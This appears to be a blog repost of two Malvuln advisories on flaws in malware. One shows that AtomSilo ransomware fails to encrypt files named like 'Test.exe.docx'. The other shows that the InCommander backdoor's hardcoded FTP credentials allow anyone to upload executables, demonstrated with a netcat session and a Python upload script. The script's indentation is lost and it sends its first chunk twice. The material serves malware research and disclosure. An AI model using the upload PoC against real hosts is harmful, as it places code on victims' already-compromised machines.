Exploit Collector
Ransom.Win64.AtomSilo MVID-2022-0666 Cryptography Logic Flaw

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Ransom.Win64.AtomSilo malware suffers from a cryptography logic flaw.

SHA-256 | 3f34b49de4ec6bce1e97067f5337c3513d5b66c17f2c5706a17f5ee88759871f

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5559e9f5e1645f8554ea020a29a5a3ee.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Ransom.Win64.AtomSilo
Vulnerability: Crypto Logic Flaw
Family: AtomSilo
Type: PE64
MD5: 5559e9f5e1645f8554ea020a29a5a3ee
Vuln ID: MVID-2022-0666
Disclosure: 12/14/2022
Description: AtomSilo ransomware FAILS to encrypt non PE files that have a ".exe" in the filename. Creating specially crafted file names successfully evaded encryption for this malware sample.

E.g.

Test.exe.docx
Test.exe.pdf

Tested successfully in a virtual machine environment.
PoC Video:
https://www.youtube.com/watch?v=xyBt9Ppb-xc

Exploit/PoC:
Create files with ".exe" within the filename.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.InCommander.17.b MVID-2022-0665 Hardcoded Credentials

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdoor.Win32.InCommander.17.b malware suffers from a hardcoded credential vulnerability.

SHA-256 | 099c10722a16f8ff775b1d257478160f16555c845382490673f316cc2a4f04e4

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.InCommander.17.b
Vulnerability: Hardcoded Cleartext Credentials
Family: InCommander
Type: PE32
MD5: dd76d8a5874bf8bf05279e35c68449ca
Vuln ID: MVID-2022-0665
Dropped files: incsrv.exe
Disclosure: 12/14/2022
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.

Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 9401
220 InCommad FTP Server ready.
USER IncUser-b3
331 Password required for IncUser-b3.
PASS InClientMainPassword
230 User IncUser-b3 logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,241,155).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=61851
DOOM="DOOM_SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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